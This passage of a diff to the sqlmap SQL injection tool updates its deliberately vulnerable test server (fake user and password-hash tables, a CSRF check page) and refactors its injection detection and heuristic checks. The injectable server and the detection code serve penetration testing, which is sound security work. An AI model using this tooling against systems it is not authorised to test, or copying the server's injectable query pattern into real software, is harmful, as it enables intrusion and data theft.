"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index 52065243514..769108f928d 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,7 +3,7 @@
"""
vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -11,8 +11,10 @@
import base64
import json
+import random
import re
import sqlite3
+import string
import sys
import threading
import traceback
@@ -44,13 +46,75 @@
CREATE TABLE users (
id INTEGER,
name TEXT,
- surname TEXT
+ surname TEXT,
+ PRIMARY KEY (id)
);
INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset');
INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny');
- INSERT INTO users (id, name, surname) VALUES (3, 'wu', '179ad45c6ce2cb97cf1029e212046e81');
- INSERT INTO users (id, name, surname) VALUES (4, 'sqlmap/1.0-dev (http://sqlmap.org)', 'user agent header');
- INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
+ INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming');
+ INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull');
+ INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis');
+ INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace');
+ INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper');
+ INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing');
+ INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton');
+ INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth');
+ INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee');
+ INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds');
+ INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson');
+ INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie');
+ INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov');
+ INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra');
+ INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy');
+ INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport');
+ INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth');
+ INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup');
+ INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum');
+ INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich');
+ INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling');
+ INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum');
+ INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto');
+ INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman');
+ INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson');
+ INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr');
+ INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller');
+ INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward');
+
+ CREATE TABLE creds (
+ user_id INTEGER,
+ password_hash TEXT,
+ FOREIGN KEY (user_id) REFERENCES users(id)
+ );
+ INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0');
+ INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729');
+ INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275');
+ INSERT INTO creds (user_id, password_hash) VALUES (4, NULL);
+ INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81');
+ INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0');
+ INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90');
+ INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809');
+ INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0');
+ INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5');
+ INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf');
+ INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f');
+ INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff');
+ INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211');
+ INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef');
+ INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890');
+ INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051');
+ INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a');
+ INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567');
+ INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98');
+ INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0');
+ INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf');
+ INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef');
+ INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe');
+ INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff');
+ INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f');
+ INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190');
+ INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1');
+ INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d');
+ INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e');
"""
LISTEN_ADDRESS = "localhost"
@@ -60,11 +124,16 @@
_cursor = None
_lock = None
_server = None
+_alive = False
+_csrf_token = None
def init(quiet=False):
global _conn
global _cursor
global _lock
+ global _csrf_token
+
+ _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20))
_conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
_cursor = _conn.cursor()
@@ -110,6 +179,7 @@ def do_REQUEST(self):
elif self.data.startswith('<') and self.data.endswith('>'):
params.update(dict((_[0], _[1].replace("'", "'").replace(""", '"').replace("<", '<').replace(">", '>').replace("&", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
else:
+ self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';'
params.update(parse_qs(self.data))
for name in self.headers:
@@ -128,6 +198,28 @@ def do_REQUEST(self):
self.url, self.params = path, params
+ if self.url == "/csrf":
+ if self.params.get("csrf_token") == _csrf_token:
+ self.url = "/"
+ else:
+ self.send_response(OK)
+ self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+ self.end_headers()
+
+ form = (
+ ""
+ "CSRF protection check
"
+ ""
+ ""
+ ) % _csrf_token
+
+ self.wfile.write(form.encode(UNICODE_ENCODING))
+ return
+
if self.url == '/':
if not any(_ in self.params for _ in ("id", "query")):
self.send_response(OK)
@@ -136,7 +228,7 @@ def do_REQUEST(self):
self.end_headers()
self.wfile.write(b"vulnserverGET:
link
POST:
")
else:
- code, output = OK, ""
+ code, output = OK, ""
try:
if self.params.get("echo", ""):
@@ -174,6 +266,11 @@ def do_REQUEST(self):
else:
output += "no results found"
+ if not results:
+ output = "No results" + output
+ else:
+ output = "Results" + output
+
output += ""
except Exception as ex:
code = INTERNAL_SERVER_ERROR
@@ -235,14 +332,18 @@ def log_message(self, format, *args):
return
def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
+ global _alive
global _server
try:
+ _alive = True
_server = ThreadingServer((address, port), ReqHandler)
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
_server.serve_forever()
except KeyboardInterrupt:
_server.socket.close()
raise
+ finally:
+ _alive = False
if __name__ == "__main__":
try:
diff --git a/lib/__init__.py b/lib/__init__.py
index f5f6aa0e910..bcac841631b 100644
--- a/lib/__init__.py
+++ b/lib/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py
index f5f6aa0e910..bcac841631b 100644
--- a/lib/controller/__init__.py
+++ b/lib/controller/__init__.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/action.py b/lib/controller/action.py
index 6510b35d061..a1413a62231 100644
--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 8e553a95875..4fa6d524933 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -10,8 +10,6 @@
import random
import re
import socket
-import subprocess
-import sys
import time
from extra.beep.beep import beep
@@ -46,7 +44,6 @@
from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError
from lib.core.compat import xrange
-from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
@@ -76,7 +73,7 @@
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS
-from lib.core.settings import CHECK_INTERNET_VALUE
+from lib.core.settings import CHECK_INTERNET_CODE
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
@@ -95,7 +92,6 @@
from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS
-from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import URI_HTTP_HEADER
from lib.core.threads import getCurrentThreadData
@@ -221,6 +217,7 @@ def checkSqlInjection(place, parameter, value):
if _ > 1:
__ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
unionExtended = True
+ test.request._columns = test.request.columns
test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns)
title = re.sub(r"\b%d\b" % _, str(__), title)
test.title = re.sub(r"\b%d\b" % _, str(__), test.title)
@@ -274,15 +271,18 @@ def checkSqlInjection(place, parameter, value):
logger.debug(debugMsg)
continue
- if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
+ elif kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its declared DBMS is different than provided"
logger.debug(debugMsg)
continue
+ elif kb.reduceTests is False:
+ pass
+
# Skip DBMS-specific test if it does not match the
# previously identified DBMS (via DBMS-specific payload)
- if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
+ elif injection.dbms and not intersect(payloadDbms, injection.dbms, True):
debugMsg = "skipping test '%s' because " % title
debugMsg += "its declared DBMS is different than identified"
logger.debug(debugMsg)
@@ -290,7 +290,7 @@ def checkSqlInjection(place, parameter, value):
# Skip DBMS-specific test if it does not match the
# previously identified DBMS (via DBMS-specific error message)
- if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
+ elif kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
debugMsg = "skipping test '%s' because the heuristic " % title
debugMsg += "tests showed that the back-end DBMS "
debugMsg += "could be '%s'" % unArrayizeValue(kb.reduceTests)
@@ -404,8 +404,8 @@ def checkSqlInjection(place, parameter, value):
continue
# Parse boundary's , and
- prefix = boundary.prefix if boundary.prefix else ""
- suffix = boundary.suffix if boundary.suffix else ""
+ prefix = boundary.prefix or ""
+ suffix = boundary.suffix or ""
ptype = boundary.ptype
# Options --prefix/--suffix have a higher priority (if set by user)
@@ -435,7 +435,7 @@ def checkSqlInjection(place, parameter, value):
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = re.search(r"(\w*)\Z", origValue).group(1)
- # Threat the parameter original value according to the
+ # Treat the parameter original value according to the
# test's tag
if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
if kb.tamperFunctions:
@@ -509,7 +509,7 @@ def genCmpPayload():
falseRawResponse = "%s%s" % (falseHeaders, falsePage)
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
- if not any((kb.negativeLogic, conf.string, conf.notString)):
+ if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)):
try:
ratio = 1.0
seqMatcher = getCurrentThreadData().seqMatcher
@@ -521,7 +521,7 @@ def genCmpPayload():
if ratio == 1.0:
continue
- except (MemoryError, OverflowError):
+ except:
pass
# Perform the test's True request
@@ -529,7 +529,7 @@ def genCmpPayload():
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
trueRawResponse = "%s%s" % (trueHeaders, truePage)
- if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))):
+ if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))):
# Perform the test's False request
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
@@ -554,7 +554,7 @@ def genCmpPayload():
injectable = True
- elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+ elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n"))
trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n"))
falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n"))
@@ -580,8 +580,8 @@ def genCmpPayload():
break
if injectable:
- if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
- if all((falseCode, trueCode)) and falseCode != trueCode:
+ if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)):
+ if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode:
suggestion = conf.code = trueCode
infoMsg = "%sparameter '%s' appears to be '%s' injectable (with --code=%d)" % ("%s " % paramType if paramType != parameter else "", parameter, title, conf.code)
@@ -642,7 +642,7 @@ def genCmpPayload():
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
- result = output == "1"
+ result = output == '1'
if result:
infoMsg = "%sparameter '%s' is '%s' injectable " % ("%s " % paramType if paramType != parameter else "", parameter, title)
@@ -783,22 +783,8 @@ def genCmpPayload():
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
- if not kb.alerted:
- if conf.beep:
- beep()
-
- if conf.alert:
- infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
- logger.info(infoMsg)
-
- try:
- process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
- process.wait()
- except Exception as ex:
- errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
- logger.error(errMsg)
-
- kb.alerted = True
+ if conf.beep:
+ beep()
# There is no need to perform this test for other
# tags
@@ -813,7 +799,7 @@ def genCmpPayload():
except KeyboardInterrupt:
warnMsg = "user aborted during detection phase"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
if conf.multipleTargets:
msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
@@ -829,11 +815,14 @@ def genCmpPayload():
choice = None
while not ((choice or "").isdigit() and 0 <= int(choice) <= 6):
if choice:
- logger.warn("invalid value")
+ logger.warning("invalid value")
msg = "enter new verbosity level: [0-6] "
choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
conf.verbose = int(choice)
setVerbosity()
+ if hasattr(test.request, "columns") and hasattr(test.request, "_columns"):
+ test.request.columns = test.request._columns
+ delattr(test.request, "_columns")
tests.insert(0, test)
elif choice == 'N':
return None
@@ -854,15 +843,13 @@ def genCmpPayload():
warnMsg = "in OR boolean-based injection cases, please consider usage "
warnMsg += "of switch '--drop-set-cookie' if you experience any "
warnMsg += "problems during data retrieval"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
if not checkFalsePositives(injection):
if conf.hostname in kb.vulnHosts:
kb.vulnHosts.remove(conf.hostname)
-
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
-
else:
injection = None
@@ -979,7 +966,7 @@ def _():
if not retVal:
warnMsg = "false positive or unexploitable injection point detected"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
kb.injection = popValue()
@@ -991,7 +978,7 @@ def checkSuhosinPatch(injection):
Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
"""
- if injection.place == PLACE.GET:
+ if injection.place in (PLACE.GET, PLACE.URI):
debugMsg = "checking for parameter length "
debugMsg += "constraining mechanisms"
logger.debug(debugMsg)
@@ -1005,7 +992,7 @@ def checkSuhosinPatch(injection):
warnMsg = "parameter length constraining "
warnMsg += "mechanism detected (e.g. Suhosin patch). "
warnMsg += "Potential problems in enumeration phase can be expected"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
kb.injection = popValue()
@@ -1026,7 +1013,7 @@ def checkFilteredChars(injection):
warnMsg += "filtered by the back-end server. There is a strong "
warnMsg += "possibility that sqlmap won't be able to properly "
warnMsg += "exploit this vulnerability"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
# inference techniques depend on character '>'
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
@@ -1034,7 +1021,7 @@ def checkFilteredChars(injection):
warnMsg = "it appears that the character '>' is "
warnMsg += "filtered by the back-end server. You are strongly "
warnMsg += "advised to rerun with the '--tamper=between'"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
kb.injection = popValue()
@@ -1063,9 +1050,10 @@ def heuristicCheckSqlInjection(place, parameter):
payload = "%s%s%s" % (prefix, randStr, suffix)
payload = agent.payload(place, parameter, newValue=payload)
- page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
+ page, _, code = Request.queryPage(payload, place, content=True, raise404=False)
kb.heuristicPage = page
+ kb.heuristicCode = code
kb.heuristicMode = False
parseFilePaths(page)
@@ -1107,6 +1095,8 @@ def _(page):
errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter)
elif platform == WEB_PLATFORM.JSP:
errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter)
+ elif platform == WEB_PLATFORM.CFM:
+ errMsg += "%s=Val(url.%s)" % (parameter, parameter)
else:
errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter)
@@ -1125,7 +1115,7 @@ def _(page):
else:
infoMsg += "not be injectable"
- logger.warn(infoMsg)
+ logger.warning(infoMsg)
kb.heuristicMode = True
kb.disableHtmlDecoding = True
@@ -1146,15 +1136,18 @@ def _(page):
if conf.beep:
beep()
- for match in re.finditer(FI_ERROR_REGEX, page or ""):
- if randStr1.lower() in match.group(0).lower():
- infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
- logger.info(infoMsg)
+ try:
+ for match in re.finditer(FI_ERROR_REGEX, page or ""):
+ if randStr1.lower() in match.group(0).lower():
+ infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
+ logger.info(infoMsg)
- if conf.beep:
- beep()
+ if conf.beep:
+ beep()
- break
+ break
+ except (SystemError, RuntimeError) as ex:
+ logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
kb.disableHtmlDecoding = False
kb.heuristicMode = False
@@ -1233,7 +1226,7 @@ def checkDynamicContent(firstPage, secondPage):
if count > conf.retries:
warnMsg = "target URL content appears to be too dynamic. "
warnMsg += "Switching to '--text-only' "
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
conf.textOnly = True
return
@@ -1291,7 +1284,7 @@ def checkStability():
warnMsg += "injectable parameters are detected, or in case of "
warnMsg += "junk results, refer to user's manual paragraph "
warnMsg += "'Page comparison'"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
choice = readInput(message, default='C').upper()
@@ -1340,44 +1333,6 @@ def checkStability():
return kb.pageStable
-def checkString():
- if not conf.string:
- return True
-
- infoMsg = "testing if the provided string is within the "
- infoMsg += "target URL page content"
- logger.info(infoMsg)
-
- page, headers, _ = Request.queryPage(content=True)
- rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
-
- if conf.string not in rawResponse:
- warnMsg = "you provided '%s' as the string to " % conf.string
- warnMsg += "match, but such a string is not within the target "
- warnMsg += "URL raw response, sqlmap will carry on anyway"
- logger.warn(warnMsg)
-
- return True
-
-def checkRegexp():
- if not conf.regexp:
- return True
-
- infoMsg = "testing if the provided regular expression matches within "
- infoMsg += "the target URL page content"
- logger.info(infoMsg)
-
- page, headers, _ = Request.queryPage(content=True)
- rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
-
- if not re.search(conf.regexp, rawResponse, re.I | re.M):
- warnMsg = "you provided '%s' as the regular expression " % conf.regexp
- warnMsg += "which does not have any match within the target URL raw response. sqlmap "
- warnMsg += "will carry on anyway"
- logger.warn(warnMsg)
-
- return True
-
@stackedmethod
def checkWaf():
"""
@@ -1408,11 +1363,10 @@ def checkWaf():
retVal = False
payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD)
+ place = PLACE.GET
if PLACE.URI in conf.parameters:
- place = PLACE.POST
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
else:
- place = PLACE.GET
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
@@ -1542,7 +1496,31 @@ def checkConnection(suppressOutput=False):
try:
kb.originalPageTime = time.time()
- Request.queryPage(content=True, noteResponseTime=False)
+ page, headers, _ = Request.queryPage(content=True, noteResponseTime=False)
+
+ rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
+
+ if conf.string:
+ infoMsg = "testing if the provided string is within the "
+ infoMsg += "target URL page content"
+ logger.info(infoMsg)
+
+ if conf.string not in rawResponse:
+ warnMsg = "you provided '%s' as the string to " % conf.string
+ warnMsg += "match, but such a string is not within the target "
+ warnMsg += "URL raw response, sqlmap will carry on anyway"
+ logger.warning(warnMsg)
+
+ if conf.regexp:
+ infoMsg = "testing if the provided regular expression matches within "
+ infoMsg += "the target URL page content"
+ logger.info(infoMsg)
+
+ if not re.search(conf.regexp, rawResponse, re.I | re.M):
+ warnMsg = "you provided '%s' as the regular expression " % conf.regexp
+ warnMsg += "which does not have any match within the target URL raw response. sqlmap "
+ warnMsg += "will carry on anyway"
+ logger.warning(warnMsg)
kb.errorIsNone = False
@@ -1557,12 +1535,12 @@ def checkConnection(suppressOutput=False):
elif wasLastResponseDBMSError():
warnMsg = "there is a DBMS error found in the HTTP response body "
warnMsg += "which could interfere with the results of the tests"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
elif wasLastResponseHTTPError():
if getLastRequestHTTPError() not in (conf.ignoreCode or []):
warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError()
warnMsg += "which could interfere with the results of the tests"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
else:
kb.errorIsNone = True
@@ -1613,8 +1591,7 @@ def checkConnection(suppressOutput=False):
return True
def checkInternet():
- content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
- return CHECK_INTERNET_VALUE in (content or "")
+ return Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[2] == CHECK_INTERNET_CODE
def setVerbosity(): # Cross-referenced function
raise NotImplementedError
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 14a2174bbb6..1770e751c52 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
@@ -9,6 +9,7 @@
import os
import re
+import subprocess
import time
from lib.controller.action import action
@@ -16,10 +17,8 @@
from lib.controller.checks import checkDynParam
from lib.controller.checks import checkInternet
from lib.controller.checks import checkNullConnection
-from lib.controller.checks import checkRegexp
from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkStability
-from lib.controller.checks import checkString
from lib.controller.checks import checkWaf
from lib.controller.checks import heuristicCheckSqlInjection
from lib.core.agent import agent
@@ -70,7 +69,7 @@
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
-from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
+from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
from lib.core.settings import HOST_ALIASES
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import LOW_TEXT_PERCENT
@@ -188,12 +187,12 @@ def _showInjections():
if conf.tamper:
warnMsg = "changes made by tampering scripts are not "
warnMsg += "included in shown payload content(s)"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
if conf.hpp:
warnMsg = "changes made by HTTP parameter pollution are not "
warnMsg += "included in shown payload content(s)"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
def _randomFillBlankFields(value):
retVal = value
@@ -295,10 +294,12 @@ def start():
infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg)
- hostCount = 0
+ targetCount = 0
initialHeaders = list(conf.httpHeaders)
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
+ targetCount += 1
+
try:
if conf.checkInternet:
infoMsg = "checking for Internet connection"
@@ -375,12 +376,10 @@ def start():
continue
if conf.multipleTargets:
- hostCount += 1
-
if conf.forms and conf.method:
- message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl)
+ message = "[%d/%s] Form:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', conf.method, targetUrl)
else:
- message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl)
+ message = "[%d/%s] URL:\n%s %s" % (targetCount, len(kb.targets) if isListLike(kb.targets) else '?', HTTPMETHOD.GET, targetUrl)
if conf.cookie:
message += "\nCookie: %s" % conf.cookie
@@ -434,7 +433,7 @@ def start():
setupTargetEnv()
- if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
+ if not checkConnection(suppressOutput=conf.forms):
continue
if conf.rParam and kb.originalPage:
@@ -498,7 +497,7 @@ def start():
if skip:
continue
- if place not in conf.paramDict:
+ if place not in conf.paramDict or place not in conf.parameters:
continue
paramDict = conf.paramDict[place]
@@ -513,6 +512,23 @@ def start():
testSqlInj = True
paramKey = (conf.hostname, conf.path, place, parameter)
+ if kb.processUserMarks:
+ if testSqlInj and place not in (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI):
+ if kb.processNonCustom is None:
+ message = "other non-custom parameters found. "
+ message += "Do you want to process them too? [Y/n/q] "
+ choice = readInput(message, default='Y').upper()
+
+ if choice == 'Q':
+ raise SqlmapUserQuitException
+ else:
+ kb.processNonCustom = choice == 'Y'
+
+ if not kb.processNonCustom:
